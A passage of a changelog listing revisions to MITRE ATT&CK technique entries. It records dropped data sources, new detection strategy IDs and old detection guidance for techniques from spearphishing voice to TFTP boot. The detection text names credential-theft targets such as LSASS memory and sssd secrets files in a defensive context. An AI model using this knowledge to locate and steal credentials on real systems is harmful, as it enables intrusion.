	>	may receive phishing messages that instruct them to call a p		>	may receive phishing messages that instruct them to call a p
	>	hone number where they are directed to visit a malicious URL		>	hone number where they are directed to visit a malicious URL
	>	, download malware,(Citation: sygnia Luna Month)(Citation: C		>	, download malware,(Citation: sygnia Luna Month)(Citation: C
	>	ISA Remote Monitoring and Management Software) or install ad		>	ISA Remote Monitoring and Management Software) or install ad
	>	versary-accessible remote management tools ([Remote Access T		>	versary-accessible remote management tools ([Remote Access T
	>	ools](https://attack.mitre.org/techniques/T1219)) onto their		>	ools](https://attack.mitre.org/techniques/T1219)) onto their
	>	computer.(Citation: Unit42 Luna Moth) Adversaries may also		>	computer.(Citation: Unit42 Luna Moth) Adversaries may also
	>	combine voice phishing with [Multi-Factor Authentication Re		>	combine voice phishing with [Multi-Factor Authentication Re
	>	quest Generation](https://attack.mitre.org/techniques/T1621)		>	quest Generation](https://attack.mitre.org/techniques/T1621)
	>	in order to trick users into divulging MFA credentials or a		>	in order to trick users into divulging MFA credentials or a
	>	ccepting authentication prompts.(Citation: Proofpoint Vishin		>	ccepting authentication prompts.(Citation: Proofpoint Vishin
	>	g)		>	g)

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0245: Detection Strategy for Spearphishing Voice across OS platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:02.243000+00:00	2025-07-02 18:06:37.932000+00:00
description	Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)	Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)

[T1566.003] Phishing: Spearphishing via Service

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0115: Detection Strategy for Spearphishing via a Service across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:11:50.622000+00:00	2025-10-24 17:49:37.487000+00:00
x_mitre_detection	Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.

[T1608] Stage Capabilities

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0839: Detection of Stage Capabilities

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:12:21.613000+00:00	2025-10-24 17:49:03.444000+00:00
x_mitre_detection	If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.

[T1132.001] Data Encoding: Standard Encoding

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0124: Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:14.817000+00:00	2025-10-24 17:48:20.938000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1037.005] Boot or Logon Initialization Scripts: Startup Items

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0429: Detect Modification of macOS Startup Items

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:20.168000+00:00	2025-10-24 17:49:19.678000+00:00
x_mitre_detection	The `/Library/StartupItems` folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.

[T1528] Steal Application Access Token

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0515: Detection Strategy for T1528 - Steal Application Access Token

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.300000+00:00	2025-10-24 17:49:04.660000+00:00
x_mitre_detection	Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.

[T1558] Steal or Forge Kerberos Tickets

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0026: Active Directory (Active Directory Credential Request)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0522: Detect Kerberos Ticket Theft or Forgery (T1558)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Logon Session: Logon Session Metadata', 'Active Directory: Active Directory Credential Request', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:25.352000+00:00	2025-10-24 17:48:41.885000+00:00
x_mitre_detection	Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. Monitor for unusual processes accessing `secrets.ldb` and `.secrets.mkey` located in `/var/lib/sss/secrets/`.

[T1001.002] Data Obfuscation: Steganography

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0235: Detecting Steganographic Command and Control via File + Network Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:29.907000+00:00	2025-10-24 17:49:35.060000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1027.003] Obfuscated Files or Information: Steganography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0119: Detection Strategy for Steganographic Abuse in File & Script Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:13:05.893000+00:00	2025-10-24 17:49:20.395000+00:00
x_mitre_detection	Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.

[T1565.001] Data Manipulation: Stored Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0022: File (File Deletion)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0193: Detection Strategy for Stored Data Manipulation across OS Platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'File: File Creation', 'File: File Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:13:20.667000+00:00	2025-10-24 17:48:29.225000+00:00
x_mitre_detection	Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.

[T1553] Subvert Trust Controls

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0452: Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Windows Registry: Windows Registry Key Creation', 'File: File Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:00.906000+00:00	2025-10-24 17:49:16.766000+00:00
x_mitre_detection	Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure "Hide Microsoft Entries" and "Hide Windows Entries" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) Monitor and investigate attempts to modify extended file attributes with utilities such as `xattr`. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

[T1548.003] Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0052: Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:45:52.996000+00:00	2025-10-24 17:48:26.105000+00:00
x_mitre_detection	On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the `LOG_INPUT` and `LOG_OUTPUT` directives in the `/etc/sudoers` file.

[T1573.001] Encrypted Channel: Symmetric Cryptography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0143: Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:14.636000+00:00	2025-10-24 17:48:32.429000+00:00
x_mitre_detection	With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1218] System Binary Proxy Execution

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0081: Detection of Proxy Execution via Trusted Signed Binaries Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Creation', 'Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:27.332000+00:00	2025-10-24 17:48:43.406000+00:00
x_mitre_detection	Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.

[T1497.001] Virtualization/Sandbox Evasion: System Checks

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0168: Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:16.253000+00:00	2025-10-24 17:48:33.591000+00:00
x_mitre_detection	Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1542.001] Pre-OS Boot: System Firmware

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)

New Detections (Detection Strategies -> Technique):

DET0099: Detection Strategy for T1542.001 Pre-OS Boot: System Firmware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firmware: Firmware Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:09.046000+00:00	2025-10-24 17:48:26.714000+00:00
x_mitre_detection	System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)

[T1614.001] System Location Discovery: System Language Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0565: Detection Strategy for System Language Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:55.750000+00:00	2025-10-24 17:49:20.039000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.

[T1614] System Location Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0043: Detection Strategy for System Location Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:14:16.731000+00:00	2025-10-24 17:49:22.536000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling `GetLocaleInfoW` to gather information.(Citation: FBI Ragnar Locker 2020) Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.

[T1016] System Network Configuration Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0195: Behavioral Detection of System Network Configuration Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:40.773000+00:00	2025-10-24 17:48:56.618000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById\|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1049] System Network Connections Discovery

Current version: 2.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0320: Detection of System Network Connections Discovery Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:45.496000+00:00	2025-10-24 17:49:01.094000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1033] System Owner/User Discovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0024: Windows Registry (Windows Registry Key Access)
DS0026: Active Directory (Active Directory Object Access)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0093: Behavioral Detection of User Discovery via Local and Remote Enumeration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Access', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Windows Registry: Windows Registry Key Access', 'File: File Access', 'Process: Process Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:02.301000+00:00	2025-10-24 17:48:20.366000+00:00
x_mitre_detection	`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.

[T1216] System Script Proxy Execution

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0466: Detection of Script-Based Proxy Execution via Signed Microsoft Utilities

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:23.298000+00:00	2025-10-24 17:49:37.665000+00:00
x_mitre_detection	Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

[T1569] System Services

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0279: Detection Strategy for System Services across OS platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:10.127000+00:00	2025-10-24 17:49:25.548000+00:00
x_mitre_detection	Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.

[T1124] System Time Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0151: Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:21.176000+00:00	2025-10-24 17:49:36.399000+00:00
x_mitre_detection	Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.

[T1543.002] Create or Modify System Process: Systemd Service

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Modification)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0253: Detection of Systemd Service Creation or Modification on Linux

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Modification', 'Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:14.487000+00:00	2025-10-24 17:49:29.942000+00:00
x_mitre_detection	Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd) Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.

[T1053.006] Scheduled Task/Job: Systemd Timers

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0231: Behavioral Detection of Systemd Timer Abuse for Scheduled Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Scheduled Job: Scheduled Job Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:55.648000+00:00	2025-10-24 17:49:11.261000+00:00
x_mitre_detection	Systemd timer unit files may be detected by auditing file creation and modification events within the `/etc/systemd/system`, `/usr/lib/systemd/system/`, and `~/.config/systemd/user/` directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: `systemctl list-timers –all`. Analyze the contents of corresponding `.service` files present on the file system and ensure that they refer to legitimate, expected executables. Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)

[T1542.005] Pre-OS Boot: TFTP Boot

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0582: Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot

Details

dictionary_item_removed
STIX Field	Old value	New Value
